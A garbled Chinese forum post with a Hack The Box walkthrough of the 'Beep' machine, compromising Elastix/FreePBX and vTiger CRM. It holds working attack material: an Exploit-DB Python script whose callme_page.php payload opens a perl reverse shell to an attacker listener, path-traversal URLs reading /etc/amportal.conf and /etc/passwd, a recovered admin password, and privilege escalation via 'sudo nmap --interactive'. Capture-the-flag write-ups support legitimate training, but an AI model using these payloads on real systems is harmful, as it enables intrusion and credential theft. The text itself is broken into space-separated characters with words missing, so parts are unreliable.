[26870] 2019-12-08_【HTB系列】Beep

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2019-12-08_【HTB系列】Beep H T B B e e p   M s 0 8 0 6 7   2 0 1 9 - 1 2 - 0 8   H T B   5 B e e p B e e p   W e b - f u z z i n g L F I R C E K a l i   T o o l s s l s c a n   /   s v w a r   /   s e a r c h s p l o i t N m a p   P r i v i l e g e   E s c a l a t i o n E l a s t i x   /   F r e e F B X V o I P   /   S I P K a l i   i p   1 0 . 1 0 . 1 4 . 2 3 L a m e i p 1 0 . 1 0 . 1 0 . 7 n m a p   - T 4   - A   - p -   - v   1 0 . 1 0 . 1 0 . 7
  2 2 ( s s h ) 8 0 ( a p a c h e ) 4 4 3 ( h t t p s ) 3 3 0 6 ( m y s q l ) 1 0 0 0 0 ( h t t p d ) 访   h t t p : / / 1 0 . 1 0 . 1 0 . 7 : 8 0   m a y b e   i t   d o e s n ' t   w o r k h t t p s w e b d i r b d i r b     s s l   ? d i r b u s t e r d i r b   h t t p s : / / 1 0 . 1 0 . 1 0 . 7 d i r b u s t e r   h t t p s : / / 1 0 . 1 0 . 1 0 . 7
s s l s c a n w e b E l a s t i x 访   h t t p s : / / 1 0 . 1 0 . 1 0 . 7 : 4 4 3   s s l s c a n   1 0 . 1 0 . 1 0 . 7  
B e e p 使   E l a s t i x   使   E l a s t i x   U s e r n a m e :   a d m i n P a s s w o r d :   p a l o s a n t o
" " h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 7 6 3 7 e x p     c m d . p y 使   S I P   e x t e n s i o n   使 K a l i   s v w a r   e t e n s i o n   2 3 3   s s l s c a n     B e e p     T L S v 1 . 0   K a l i   o p e n s s l i m p o r t   u r l l i b i m p o r t   s s l r h o s t = " 1 0 . 1 0 . 1 0 . 7 " l h o s t = " 1 0 . 1 0 . 1 4 . 1 5 " l p o r t = 4 4 4 4 e x t e n s i o n = " 2 3 3 " c t x   =   s s l . c r e a t e _ d e f a u l t _ c o n t e x t ( ) c t x . c h e c k _ h o s t n a m e   =   F a l s e c t x . v e r i f y _ m o d e   =   s s l . C E R T _ N O N E #   R e v e r s e   s h e l l   p a y l o a d u r l   =   ' h t t p s : / / ' + s t r ( r h o s t ) + ' / r e c o r d i n g s / m i s c / c a l l m e _ p a g e . p h p ? a c t i o n = c & c a l l m e n u m = ' + s t r ( e x t e n s i o n ) + ' @ f r o m - i n t e r n a l / n % 0 D % 0 A A p p l i c a t i o n : % 2 0 s y s t e m % 0 D % 0 A D a t a : % 2 0 p e r l % 2 0 - M I O % 2 0 - e % 2 0 % 2 7 % 2 4 p % 3 d f o r k % 3 b e x i t % 2 c i f % 2 8 % 2 4 p % 2 9 % 3 b % 2 4 c % 3 d n e w % 2 0 I O % 3 a % 3 a S o c k e t % 3 a % 3 a I N E T % 2 8 P e e r A d d r % 2 c % 2 2 ' u r l l i b . u r l o p e n ( u r l ,   c o n t e x t = c t x ) $   s v w a r   - m   I N V I T E   - e 1 0 0 - 3 0 0   1 0 . 1 0 . 1 0 . 7 E x t e n s i o n   |   A u t h e n t i c a t i o n   | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 3 3               |   r e q a u t h                 | v i m   / e t c / s s l / o p e n s s l . c n f # s y s t e m _ d e f a u l t _ s e c t ] M i n P r o t o c o l   =   T L S v 1 . 2 C i p h e r S t r i n g   =   D E F A U L T @ S E C L E V E L = 2 # s y s t e m _ d e f a u l t _ s e c t ] M i n P r o t o c o l   =   N o n e C i p h e r S t r i n g   =   D E F A U L T
  c m d . p y   n c s h e l l   e x p   s u d o   n m a p   - - i n t e r a c t i v e s h
" " h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 7 6 3 7   a m p o r t a l . c o n f E l a s t i x   /   f r e e p b x a m i v t i g e r c r m   访 v T i g e r   C R M C R M I n t r a n e t 使 I n t e r n e t 使 访   a m p   E l a s t i x   i s   p r o n e   t o   a   l o c a l   f i l e - i n c l u d e   v u l n e r a b i l i t y   b e c a u s e   i t   f a i l s   t o   p r o p e r l y   s a n i t i z e   u s e r - s u p p l i e d   i n p u t   a t t a c k e r   c a n   e x p l o i t   t h i s   v u l n e r a b i l i t y   t o   v i e w   f i l e s   a n d   e x e c u t e   l o c a l   s c r i p t s   i n   t h e   c o n t e x t   o f   t h e   w e b   s e r v e r   p r o c e s s E l a s t i x   2 . 2 . 0   i s   v u l n e r a b l e ;   o t h e r   v e r s i o n s   m a y   a l s o   b e   a f f e c t e d .   # L F I   E x p l o i t :   / v t i g e r c r m / g r a p h . p h p ? c u r r e n t _ l a n g u a g e = . . / . . / . . / . . / . . / . . / . . / . . / / e t c / a m p o r t a l . c o n f % 0 0 & m o d u l e = A c c o u n t s & a c t i o n h t t p s : / / 1 0 . 1 0 . 1 0 . 7 / v t i g e r c r m / g r a p h . p h p ? c u r r e n t _ l a n g u a g e = . . / . . / . . / . . / . . / . . / . . / . . / / e t c / a m p o r t a l . c o n f % 0 0 & m o d u l e = A c c o u n t s & a c t i o n a d m i n j E h d I e k W m d j E
s s h   r o o t a d m i n 访   h t t p s : / / 1 0 . 1 0 . 1 0 . 7 / v t i g e r c r m
v T i g e r   C R M     5 . 1 . 0   v t i g e r c r m     L F I s e a r c h s p l o i t   v t i g e r s e a r c h s p l o i t   - x   1 8 7 7 0 . t x t
p a y l o a d     / e t c / p a s s w d   / e t c / a m p o r t a l . c o n f a m i   / e t c / a s t e r i s k / m a n a g e r . c o n f h t t p s : / / w w w . v t i g e r . c o m / d o c s / a s t e r i s k - i n t e g r a t i o n h t t p s : / / 1 0 . 1 0 . 1 0 . 7 / v t i g e r c r m / m o d u l e s / c o m _ v t i g e r _ w o r k f l o w / s o r t f i e l d s j s o n . p h p ? m o d u l e _ n a m e = . . / . . / . . / . . / . . / . . / . . / . . / h t t p s : / / 1 0 . 1 0 . 1 0 . 7 / v t i g e r c r m / m o d u l e s / c o m _ v t i g e r _ w o r k f l o w / s o r t f i e l d s j s o n . p h p ? m o d u l e _ n a m e = . . / . . / . . / . . / . . / . . / . . / . . / / h t t p s : / / 1 0 . 1 0 . 1 0 . 7 / v t i g e r c r m / m o d u l e s / c o m _ v t i g e r _ w o r k f l o w / s o r t f i e l d s j s o n . p h p ? m o d u l e _ n a m e = . . / . . / . . / . . / . . / . . / . . / . . /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则